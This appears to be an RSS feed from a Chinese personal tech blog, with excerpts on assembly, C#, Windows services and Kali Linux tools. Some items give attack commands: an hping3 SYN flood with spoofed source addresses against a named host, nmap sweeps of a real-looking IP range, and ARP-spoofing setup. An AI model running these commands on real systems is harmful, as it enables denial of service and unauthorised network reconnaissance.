简写 CALL 立即数/寄存器/内存&lt;/p&gt;</description></item><item><title>5.汇编-堆栈相关指令</title><link>https://luodaoyi.com/posts/5%E6%B1%87%E7%BC%96-%E5%A0%86%E6%A0%88%E7%9B%B8%E5%85%B3%E6%8C%87%E4%BB%A4-5%E6%B1%87%E7%BC%96-%E5%A0%86%E6%A0%88%E7%9B%B8%E5%85%B3%E6%8C%87%E4%BB%A4/</link><pubDate>Sun, 17 Sep 2017 04:54:13 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/5%E6%B1%87%E7%BC%96-%E5%A0%86%E6%A0%88%E7%9B%B8%E5%85%B3%E6%8C%87%E4%BB%A4-5%E6%B1%87%E7%BC%96-%E5%A0%86%E6%A0%88%E7%9B%B8%E5%85%B3%E6%8C%87%E4%BB%A4/</guid><description>&lt;h2 id="什么是堆栈"&gt;什么是堆栈&lt;/h2&gt;
&lt;p&gt;程序启动的时候操作系统会给每个程序一块虚拟的4G内存当程序需要使用的时候必须要和操作系统申请内存&lt;br&gt;
&lt;code&gt;堆栈是程序的心脏，程序中需要用到的重要数据，都在堆栈中体现&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;就是一块特殊的内存，操作系统在程序启动的时候已经分配好的，供程序执行时使用&lt;/li&gt;
&lt;li&gt;和数据结构的堆栈无关&lt;/li&gt;
&lt;li&gt;查看堆栈&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;正常内存使用从小地址往大地址使用，堆栈中从大地址往小地址使用&lt;br&gt;
当堆栈用完了就会出现堆栈溢出错误&lt;/p&gt;</description></item><item><title>2.汇编-内存</title><link>https://luodaoyi.com/posts/2%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98-2%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98/</link><pubDate>Sat, 16 Sep 2017 20:35:33 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/2%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98-2%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98/</guid><description>&lt;p&gt;寄存器数量和容量有限，为了存储大量数据，所以我们需要内存&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;每个程序都会有自己的独立的4GB内存空间（&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;这里的内存其实是虚拟的，并不是真的给了程序4G内存,当程序读或者写这段内存的时候，操作系统才会把使用的内存映射到物理内存上&lt;br&gt;
物理内存和内存条之间还有一层映射&lt;/p&gt;</description></item><item><title>4. 汇编-内存复制指令</title><link>https://luodaoyi.com/posts/4-%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98%E5%A4%8D%E5%88%B6%E6%8C%87%E4%BB%A4-4%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98%E5%A4%8D%E5%88%B6%E6%8C%87%E4%BB%A4/</link><pubDate>Sat, 16 Sep 2017 10:20:06 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/4-%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98%E5%A4%8D%E5%88%B6%E6%8C%87%E4%BB%A4-4%E6%B1%87%E7%BC%96-%E5%86%85%E5%AD%98%E5%A4%8D%E5%88%B6%E6%8C%87%E4%BB%A4/</guid><description>&lt;h2 id="标志寄存器-efl"&gt;标志寄存器 EFL&lt;/h2&gt;
&lt;p&gt;EFL是32位寄存器&lt;br&gt;
其中的每一位，含义都是不同的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x00000246 16进制
0000 0000 0000 0000 0000 0010 0100 0110 二进制
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第十位(从下标开始算 从右往左)：DF位&lt;br&gt;
DF位为``的时候: MOVS 执行完毕之后 ESI和EDI的值会增加&lt;br&gt;
DF位位&lt;code&gt;1&lt;/code&gt;的时候: MOVS 执行完毕之后 ESI和EDI的值会减少&lt;/p&gt;</description></item><item><title>3.汇编-常用汇编指令</title><link>https://luodaoyi.com/posts/3%E6%B1%87%E7%BC%96-%E5%B8%B8%E7%94%A8%E6%B1%87%E7%BC%96%E6%8C%87%E4%BB%A4-3%E6%B1%87%E7%BC%96-%E5%B8%B8%E7%94%A8%E6%B1%87%E7%BC%96%E6%8C%87%E4%BB%A4/</link><pubDate>Sat, 16 Sep 2017 07:42:31 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/3%E6%B1%87%E7%BC%96-%E5%B8%B8%E7%94%A8%E6%B1%87%E7%BC%96%E6%8C%87%E4%BB%A4-3%E6%B1%87%E7%BC%96-%E5%B8%B8%E7%94%A8%E6%B1%87%E7%BC%96%E6%8C%87%E4%BB%A4/</guid><description>&lt;h2 id="1-mov指令赋值"&gt;1. MOV指令（赋值）&lt;/h2&gt;
&lt;p&gt;含义：前者被后者赋值&lt;br&gt;
exp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MOV EAX,0xFFFFFFFF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时 &lt;code&gt;EAX = 0xFFFFFFFF&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;指令格式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;MOV r/m8,r8&lt;/li&gt;
&lt;li&gt;MOV r/m16,r16&lt;/li&gt;
&lt;li&gt;MOV r/m32,r32&lt;/li&gt;
&lt;li&gt;MOV r8,r/m8&lt;/li&gt;
&lt;li&gt;MOV r16,r/m16&lt;/li&gt;
&lt;li&gt;MOV r32,r/m/32&lt;/li&gt;
&lt;li&gt;MOV r8,imm8&lt;/li&gt;
&lt;li&gt;MOV r16,imm16&lt;/li&gt;
&lt;li&gt;MOV r32,imm32&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;r – 通用寄存器&lt;br&gt;
m – 内存&lt;br&gt;
imm – 立即数&lt;br&gt;
r8 – 8位通用寄存器&lt;br&gt;
m8 – 8位内存&lt;br&gt;
imm8 – 8位立即数&lt;/p&gt;
&lt;h2 id="2-add指令加法"&gt;2. ADD指令（加法）&lt;/h2&gt;
&lt;p&gt;含义：前者与后者相加，结果赋值给前者&lt;/p&gt;</description></item><item><title>1.汇编-寄存器</title><link>https://luodaoyi.com/posts/1%E6%B1%87%E7%BC%96-%E5%AF%84%E5%AD%98%E5%99%A8-1%E6%B1%87%E7%BC%96-%E5%AF%84%E5%AD%98%E5%99%A8/</link><pubDate>Sat, 16 Sep 2017 03:47:44 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/1%E6%B1%87%E7%BC%96-%E5%AF%84%E5%AD%98%E5%99%A8-1%E6%B1%87%E7%BC%96-%E5%AF%84%E5%AD%98%E5%99%A8/</guid><description>&lt;h2 id="寄存器介绍"&gt;寄存器介绍&lt;/h2&gt;
&lt;h3 id="寄存器是什么"&gt;寄存器是什么&lt;/h3&gt;
&lt;p&gt;计算机在三个地方可以存数据&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;cpu&lt;/li&gt;
&lt;li&gt;内存&lt;/li&gt;
&lt;li&gt;硬盘&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所谓寄存器，就是cpu中硬盘存储数据的地方&lt;/p&gt;
&lt;h3 id="寄存器的大小"&gt;寄存器的大小&lt;/h3&gt;
&lt;p&gt;寄存器大小取决于cpu的位数&lt;br&gt;
比如32位 那么cpu所提供的容器有三种 8位 16位 32位&lt;br&gt;
如果64位 那么cpu所提供的容器有四种 8位 16位 32位 64位&lt;/p&gt;
&lt;p&gt;05年后的电脑cpu几乎都是64位的。&lt;/p&gt;</description></item><item><title>C#在winform中调用系统控制台输出</title><link>https://luodaoyi.com/posts/c%23%E5%9C%A8winform%E4%B8%AD%E8%B0%83%E7%94%A8%E7%B3%BB%E7%BB%9F%E6%8E%A7%E5%88%B6%E5%8F%B0%E8%BE%93%E5%87%BA-c%E5%9C%A8winform%E4%B8%AD%E8%B0%83%E7%94%A8%E7%B3%BB%E7%BB%9F%E6%8E%A7%E5%88%B6%E5%8F%B0%E8%BE%93%E5%87%BA/</link><pubDate>Tue, 12 Sep 2017 15:25:54 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%23%E5%9C%A8winform%E4%B8%AD%E8%B0%83%E7%94%A8%E7%B3%BB%E7%BB%9F%E6%8E%A7%E5%88%B6%E5%8F%B0%E8%BE%93%E5%87%BA-c%E5%9C%A8winform%E4%B8%AD%E8%B0%83%E7%94%A8%E7%B3%BB%E7%BB%9F%E6%8E%A7%E5%88%B6%E5%8F%B0%E8%BE%93%E5%87%BA/</guid><description>&lt;p&gt;在Winform程序中有时候调试会通过Console.Write()方式输出一些信息，这些信息是在Visual Studio的输出窗口显示。&lt;/p&gt;
&lt;p&gt;所以就会想，能不能调用系统的Cmd窗口输出呢，经过一番查阅，发现是可以的，现在就把方法写下了：&lt;/p&gt;
&lt;p&gt;主要用到的是win32 API函数实现的：&lt;/p&gt;</description></item><item><title>windows 安装服务</title><link>https://luodaoyi.com/posts/windows-%E5%AE%89%E8%A3%85%E6%9C%8D%E5%8A%A1-windows%E5%AE%89%E8%A3%85%E6%9C%8D%E5%8A%A1/</link><pubDate>Tue, 12 Sep 2017 06:58:05 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/windows-%E5%AE%89%E8%A3%85%E6%9C%8D%E5%8A%A1-windows%E5%AE%89%E8%A3%85%E6%9C%8D%E5%8A%A1/</guid><description>&lt;h2 id="方法1-sc"&gt;方法1 :sc&lt;/h2&gt;
&lt;h3 id="安装"&gt;安装&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; //bin目录加上 &lt;span class="s2"&gt;&amp;#34;s&amp;#34;&lt;/span&gt; 证明是从windows服务启动该程序
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sc create server_name binpath=&lt;span class="s2"&gt;&amp;#34;bin_path s&amp;#34;&lt;/span&gt; displayName=&lt;span class="s2"&gt;&amp;#34;display_name&amp;#34;&lt;/span&gt; start=auto
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sc create elasticsearch_index_sync binpath=&lt;span class="s2"&gt;&amp;#34;D:\job\search-job\Search.JobService.exe s&amp;#34;&lt;/span&gt; displayName=&lt;span class="s2"&gt;&amp;#34;elasticsearch index sync work&amp;#34;&lt;/span&gt; start=auto
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="卸载"&gt;卸载&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sc delete server_name binpath=&lt;span class="s2"&gt;&amp;#34;bin_path&amp;#34;&lt;/span&gt; displayName=&lt;span class="s2"&gt;&amp;#34;display_name&amp;#34;&lt;/span&gt;start= auto
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sc delete elasticsearch_index_sync binpath=&lt;span class="s2"&gt;&amp;#34;D:\job\search-job\Search.JobService.exe&amp;#34;&lt;/span&gt; displayName=&lt;span class="s2"&gt;&amp;#34;elasticsearch index sync work&amp;#34;&lt;/span&gt; start= auto
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="方法2installutil"&gt;方法2:installutil&lt;/h2&gt;
&lt;h3 id="安装-1"&gt;安装&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;%SystemRoot%&lt;/span&gt;\Microsoft.NET\Framework\v4.0.30319\installutil.exe D:\job\search-job\Search.JobService.exe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Net Start SearchJobService
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sc config SearchJobService start= auto
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;第二行为启动服务。&lt;br&gt;
第三行为设置服务为自动运行。&lt;/p&gt;
&lt;h3 id="卸载-1"&gt;卸载&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;%SystemRoot%&lt;/span&gt;\Microsoft.NET\Framework\v4.0.30319\installutil.exe /u D:\job\search-job\Search.JobService.exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="控制"&gt;控制&lt;/h2&gt;
&lt;h3 id="启动"&gt;启动&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; net start server_name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; net start elasticsearch_index_sync
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="停止"&gt;停止&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bat" data-lang="bat"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; net stop server_name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; net stop elasticsearch_index_sync
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>python异步多线程超高性能爬虫爬取又拍云图片</title><link>https://luodaoyi.com/posts/python%E5%BC%82%E6%AD%A5%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B6%85%E9%AB%98%E6%80%A7%E8%83%BD%E7%88%AC%E8%99%AB%E7%88%AC%E5%8F%96%E5%8F%88%E6%8B%8D%E4%BA%91%E5%9B%BE%E7%89%87-python%E5%BC%82%E6%AD%A5%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B6%85%E9%AB%98%E6%80%A7%E8%83%BD%E7%88%AC%E8%99%AB%E7%88%AC%E5%8F%96%E5%8F%88%E6%8B%8D%E4%BA%91%E5%9B%BE%E7%89%87/</link><pubDate>Wed, 06 Sep 2017 06:40:30 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/python%E5%BC%82%E6%AD%A5%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B6%85%E9%AB%98%E6%80%A7%E8%83%BD%E7%88%AC%E8%99%AB%E7%88%AC%E5%8F%96%E5%8F%88%E6%8B%8D%E4%BA%91%E5%9B%BE%E7%89%87-python%E5%BC%82%E6%AD%A5%E5%A4%9A%E7%BA%BF%E7%A8%8B%E8%B6%85%E9%AB%98%E6%80%A7%E8%83%BD%E7%88%AC%E8%99%AB%E7%88%AC%E5%8F%96%E5%8F%88%E6%8B%8D%E4%BA%91%E5%9B%BE%E7%89%87/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;最近有个奇葩需求：&lt;br&gt;
&lt;code&gt;要把又拍云所有的图片全都下载下来 大约10T 3亿张左右&lt;/code&gt;&lt;br&gt;
联系又拍云 能否邮寄硬盘直接拷贝，答曰不行。。但是给了个下载的python脚本&lt;br&gt;
&lt;a href="https://github.com/monkey-wenjun/upyun-sdk-script/blob/master/download_file/download_file_with_iter.py"&gt;download_file_with_iter.py&lt;/a&gt;&lt;br&gt;
我怀着感激的心情下载下来，结果一秒不到3张。。实在是慢，于是乎打算自己写一个&lt;/p&gt;
&lt;h2 id="版本1"&gt;版本1&lt;/h2&gt;
&lt;p&gt;这是刚做的时候的版本，直接使用aio的队列，&lt;br&gt;
环境：python3.6.2&lt;br&gt;
所需包:&lt;/p&gt;</description></item><item><title>同一局域网环境下的arp欺骗和中间人攻击（mac）</title><link>https://luodaoyi.com/posts/%E5%90%8C%E4%B8%80%E5%B1%80%E5%9F%9F%E7%BD%91%E7%8E%AF%E5%A2%83%E4%B8%8B%E7%9A%84arp%E6%AC%BA%E9%AA%97%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BBmac-%E5%90%8C%E4%B8%80%E5%B1%80%E5%9F%9F%E7%BD%91%E7%8E%AF%E5%A2%83%E4%B8%8B%E7%9A%84arp%E6%AC%BA%E9%AA%97%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BBmac/</link><pubDate>Sun, 09 Apr 2017 04:41:48 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%90%8C%E4%B8%80%E5%B1%80%E5%9F%9F%E7%BD%91%E7%8E%AF%E5%A2%83%E4%B8%8B%E7%9A%84arp%E6%AC%BA%E9%AA%97%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BBmac-%E5%90%8C%E4%B8%80%E5%B1%80%E5%9F%9F%E7%BD%91%E7%8E%AF%E5%A2%83%E4%B8%8B%E7%9A%84arp%E6%AC%BA%E9%AA%97%E5%92%8C%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BBmac/</guid><description>&lt;p&gt;最近读了一篇有关arp欺骗和中间人攻击的文章，于是乎就想着自己实现一下，顺便验证下微信在回话劫持后的安全性。&lt;/p&gt;
&lt;h2 id="1本机环境"&gt;1.本机环境&lt;/h2&gt;
&lt;p&gt;Macbook Air:OS X 10.11 El Captain&lt;/p&gt;
&lt;h2 id="2推荐工具"&gt;2.推荐工具&lt;/h2&gt;
&lt;p&gt;Nmap（网络探测工具和安全/端口扫描器）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ brew install nmap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ettercap(arp欺骗和dns欺骗工具)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ brew install ettercap –with-gtk+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Driftnet（网络包图片解析器）&lt;/p&gt;</description></item><item><title>使用hping3/nping施行DoS攻击</title><link>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8hping3nping%E6%96%BD%E8%A1%8Cdos%E6%94%BB%E5%87%BB-%E4%BD%BF%E7%94%A8hping3nping%E6%96%BD%E8%A1%8Cdos%E6%94%BB%E5%87%BB/</link><pubDate>Sat, 08 Apr 2017 17:08:27 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E4%BD%BF%E7%94%A8hping3nping%E6%96%BD%E8%A1%8Cdos%E6%94%BB%E5%87%BB-%E4%BD%BF%E7%94%A8hping3nping%E6%96%BD%E8%A1%8Cdos%E6%94%BB%E5%87%BB/</guid><description>&lt;p&gt;DDoS攻击是常见的攻击方式，每小时大约发生28次。&lt;a href="http://www.digitalattackmap.com"&gt;http://www.digitalattackmap.com&lt;/a&gt;提供在世界范围内的DDoS实时攻击分布图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-23-14916425220453.png" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;从DDoS攻击的地图上就可以看出国际形势；例如，到9月18号可以看到日本－中国的攻击；川普宣布建墙之后，可以看到墨西哥－美国的攻击。&lt;/p&gt;
&lt;p&gt;使用hping3进行DoS攻击：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source testsite.com
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;-c：发送数据包的个数&lt;/li&gt;
&lt;li&gt;-d：每个数据包的大小&lt;/li&gt;
&lt;li&gt;-S：发送SYN数据包&lt;/li&gt;
&lt;li&gt;-w：TCP window大小&lt;/li&gt;
&lt;li&gt;-p：目标端口，你可以指定任意端口&lt;/li&gt;
&lt;li&gt;–flood：尽可能快的发送数据包&lt;/li&gt;
&lt;li&gt;–rand-source：使用随机的IP地址，目标机器看到一堆ip，不能定位你的实际IP；也可以使用-a或–spoof隐藏主机名&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单的SYN洪水攻击：&lt;/p&gt;</description></item><item><title>Kali Linux：使用nmap扫描主机</title><link>https://luodaoyi.com/posts/kali-linux%E4%BD%BF%E7%94%A8nmap%E6%89%AB%E6%8F%8F%E4%B8%BB%E6%9C%BA-kalilinux%E4%BD%BF%E7%94%A8nmap%E6%89%AB%E6%8F%8F%E4%B8%BB%E6%9C%BA/</link><pubDate>Sat, 08 Apr 2017 09:27:58 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kali-linux%E4%BD%BF%E7%94%A8nmap%E6%89%AB%E6%8F%8F%E4%B8%BB%E6%9C%BA-kalilinux%E4%BD%BF%E7%94%A8nmap%E6%89%AB%E6%8F%8F%E4%B8%BB%E6%9C%BA/</guid><description>&lt;p&gt;nmap－Network Mapper，是著名的网络扫描和嗅探工具包。他同样支持Windows和OS X。&lt;/p&gt;
&lt;h2 id="扫描开放端口和判断操作系统类型"&gt;扫描开放端口和判断操作系统类型&lt;/h2&gt;
&lt;p&gt;先让我们ping一段地址范围，找到启动的主机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# nmap -sP 159.203.205.0-100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916437010637.png" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="使用syn扫描探测操作系统类型"&gt;使用SYN扫描探测操作系统类型：&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# nmap -sS 159.203.205.61 -O
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描开放端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# nmap -sV 159.203.205.61 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="扫描web服务器的网站目录"&gt;扫描web服务器的网站目录&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# nmap –script http-enum.nse blog.topspeedsnail.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-04-25-14916437463658.png" alt="" title=""&gt;&lt;br&gt;
上面使用了脚本，存放路径：(/usr/share/nmap/scripts)。目录里有各种各样的脚本。&lt;/p&gt;</description></item><item><title>Kali Linux安装SSH Server</title><link>https://luodaoyi.com/posts/kali-linux%E5%AE%89%E8%A3%85ssh-server-kalilinux%E5%AE%89%E8%A3%85sshserver/</link><pubDate>Sat, 08 Apr 2017 09:17:21 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/kali-linux%E5%AE%89%E8%A3%85ssh-server-kalilinux%E5%AE%89%E8%A3%85sshserver/</guid><description>&lt;p&gt;Kali Linux默认并没有安装SSH服务，为了实现远程登录Kali Linux，我们需要安装SSH服务。&lt;/p&gt;
&lt;h2 id="安装-openssh-server"&gt;安装 OpenSSH Server&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# apt-get install openssh-server
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="配置ssh服务开机启动"&gt;配置SSH服务开机启动&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# update-rc.d -f ssh remove
# update-rc.d -f ssh defaults
# update-rc.d -f ssh enable 2 3 4 5
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="更改默认的ssh密钥"&gt;更改默认的SSH密钥&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# cd /etc/ssh
# mkdir ssh_key_backup
# mv ssh_host_* ssh_key_backup
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="创建新密钥"&gt;创建新密钥：&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# dpkg-reconfigure openssh-server
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="允许root用户使用ssh远程登录"&gt;允许root用户使用ssh远程登录&lt;/h2&gt;
&lt;p&gt;默认下，不允许使用root用户进行ssh远程登录，需要改一下ssh的配置文件：&lt;/p&gt;</description></item><item><title>HTTrack – 克隆任意网站</title><link>https://luodaoyi.com/posts/httrack-%E5%85%8B%E9%9A%86%E4%BB%BB%E6%84%8F%E7%BD%91%E7%AB%99-httrack%E5%85%8B%E9%9A%86%E4%BB%BB%E6%84%8F%E7%BD%91%E7%AB%99/</link><pubDate>Sat, 08 Apr 2017 09:16:41 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/httrack-%E5%85%8B%E9%9A%86%E4%BB%BB%E6%84%8F%E7%BD%91%E7%AB%99-httrack%E5%85%8B%E9%9A%86%E4%BB%BB%E6%84%8F%E7%BD%91%E7%AB%99/</guid><description>&lt;p&gt;HTTrack可以克隆指定网站－把整个网站下载到本地。&lt;/p&gt;
&lt;p&gt;可以用在离线浏览上，也可以用来收集信息（甚至有网站使用隐藏的密码文件）。&lt;/p&gt;
&lt;p&gt;一些仿真度极高的伪网站（为了骗取用户密码），也是使用类似工具做的。&lt;/p&gt;
&lt;p&gt;Kali Linux默认安装了HTTrack。&lt;/p&gt;
